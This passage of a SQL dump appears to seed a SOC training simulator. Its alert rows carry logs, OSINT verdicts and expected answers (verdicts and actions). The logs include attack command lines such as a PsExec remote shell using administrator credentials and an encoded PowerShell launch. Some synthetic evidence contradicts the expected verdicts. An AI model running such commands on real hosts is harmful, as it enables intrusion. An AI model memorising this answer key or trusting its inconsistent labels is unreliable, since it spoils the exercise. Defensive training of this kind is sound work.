access\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was flagged due to unusual login patterns but was found to be legitimate upon review.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.330Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T15:00:00Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.30.5\\\",\\\"dst_ip\\\":\\\"192.168.30.10\\\",\\\"username\\\":\\\"jane.doe\\\",\\\"hostname\\\":\\\"desktop-01\\\",\\\"request_body\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(681, 'Phishing Email Detected with Clean URL', 'medium', 'Email Gateway', 'A phishing email was detected; however, the URL was verified as clean after further analysis.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-01-11T09:40:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.0.2.10\",\"dst_ip\":\"192.168.5.10\",\"username\":\"mjohnson\",\"hostname\":\"mail-server\",\"email_sender\":\"info@securemail.com\",\"url\":\"http://legitimate-site.com\"}', '2026-01-10 17:07:54', '2026-03-09 23:40:49', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"info@securemail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address associated with previous phishing attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://legitimate-site.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL verified as legitimate\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was initially flagged due to the sender\'s history, but the URL was found to be legitimate.\"}', 'Expert', 'NDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected with Clean URL\",\"date\":\"2026-02-01T20:32:22.331Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(682, 'DNS Query to Benign Domain Mistaken for DGA', 'low', 'Firewall', 'A DNS query was flagged for potential DGA activity, but the domain was verified as part of legitimate testing activity.', 'Malware', 'T1568', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"dns_query\",\"src_ip\":\"192.168.40.5\",\"dst_ip\":\"192.168.40.5\",\"username\":\"qauser\",\"hostname\":\"test-machine\",\"domain\":\"test-domain-1234.com\"}', '2026-01-11 07:40:24', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"test-domain-1234.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Domain used for internal testing purposes\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.40.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"IP address of a test machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The domain was mistaken for a DGA domain but is used for legitimate testing.\"}', 'Expert', 'MAL', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(683, 'LockBit 3.0 Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike Beacon associated with LockBit 3.0 ransomware was detected communicating with a known malicious IP. Indicators show initial access was achieved via compromised RDP credentials.', 'Malware', 'T1071', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T08:45:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\svchost.exe -k netsvcs\",\"file_hash\":\"3c8a3f7d8f9f4b3a4e8d7c9b5e9f2d1f\"}', '2026-01-10 04:57:56', '2026-02-16 18:05:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities associated with ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3c8a3f7d8f9f4b3a4e8d7c9b5e9f2d1f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a Cobalt Strike payload\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Cobalt Strike beacon activity detected from internal server communicating with known ransomware-associated IP.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(684, 'Suspicious Email Detected - Potential Phishing', 'high', 'Proofpoint', 'An email purporting to be from a trusted source contained a link to a known phishing domain. The email was flagged due to domain spoofing and suspicious attachments.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.25\",\"username\":\"asanchez\",\"hostname\":\"USER-LAPTOP02\",\"email_sender\":\"no-reply@trustedsource.com\",\"url\":\"http://phishing-link.example.com\"}', '2026-01-10 12:47:27', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@trustedsource.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain does not match known trusted sources\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain targeting financial credentials\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for sending phishing emails\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Email contained a link to a known phishing domain and originated from a suspicious IP.\"}', 'Expert', 'NDR', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected - Potential Phishing\",\"date\":\"2026-02-01T20:32:22.333Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(685, 'False Positive: Unusual Network Scanning Activity', 'medium', 'Wazuh', 'A network scanning tool was detected running on an internal server. Analysis revealed it was part of a scheduled vulnerability assessment.', 'Network Activity', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:15:33Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.30\",\"dst_ip\":\"10.0.0.50\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SCAN01\",\"command_line\":\"nmap -sV 10.0.0.50\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 12:38:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"nmap -sV 10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution aligns with scheduled vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of authorized scanner\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of scanned server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_activity\",\"analysis_notes\":\"The activity corresponds to an authorized vulnerability scan and is not malicious.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.334Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T07:15:33Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.30\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"INTERNAL-SCAN01\\\",\\\"command_line\\\":\\\"nmap -sV 10.0.0.50\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(686, 'BlackCat/ALPHV Ransomware Pre-Encryption Reconnaissance Detected', 'critical', 'Splunk', 'Pre-encryption reconnaissance activities linked to the BlackCat/ALPHV ransomware group were detected. Attackers used PsExec for lateral movement within the network.', 'Lateral Movement', 'T1047', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T10:05:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.45\",\"username\":\"administrator\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"PsExec.exe \\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\"}', '2026-01-10 02:32:48', '2026-02-16 18:05:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PsExec usage consistent with lateral movement by ransomware groups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target machine\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec detected being used for lateral movement indicative of ransomware pre-encryption reconnaissance.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.335Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T10:05:10Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.45\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\10.0.0.45 -u administrator -p password cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(687, 'Brute Force Attack Detected on RDP Service', 'high', 'Wazuh', 'Multiple failed login attempts detected from an external IP address targeting the RDP service on the network. The source IP is associated with known malicious activity.', 'Credential Attack', 'T1110', 1, 'Closed', 137, '{\"timestamp\":\"2026-01-11T08:15:24Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.92.26.102\",\"dst_ip\":\"192.168.1.10\",\"username\":\"administrator\",\"hostname\":\"corp-server-01\",\"failed_attempts\":35}', '2026-01-11 02:30:22', '2026-02-13 00:04:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.26.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Common username for administrative access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has a high number of reports related to brute force activity, confirming this is a legitimate attack.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:31:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:30:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:29:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-02-01T20:28:22.336Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T08:15:24Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.92.26.102\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(688, 'Malware Detected - LockBit 3.0 Ransomware', 'critical', 'CrowdStrike', 'A known ransomware file associated with LockBit 3.0 was executed on a corporate workstation. The file hash matches a known malicious signature.', 'Malware', 'T1486', 1, 'closed', NULL, '{\"timestamp\":\"2026-01-11T10:37:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"hostname\":\"workstation-05\",\"command_line\":\"C:\\\\Users\\\\User\\\\Downloads\\\\ransom.exe\",\"file_hash\":\"f2d2c3e2345fabc1234567890defabc1234567890abcd1234567890efab1234c\"}', '2026-01-10 08:45:54', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2d2c3e2345fabc1234567890defabc1234567890abcd1234567890efab1234c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 55 antivirus engines as LockBit 3.0 ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Users\\\\User\\\\Downloads\\\\ransom.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable associated with ransomware deployment\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is confirmed malicious with a high detection rate on VirusTotal, indicating a true positive ransomware 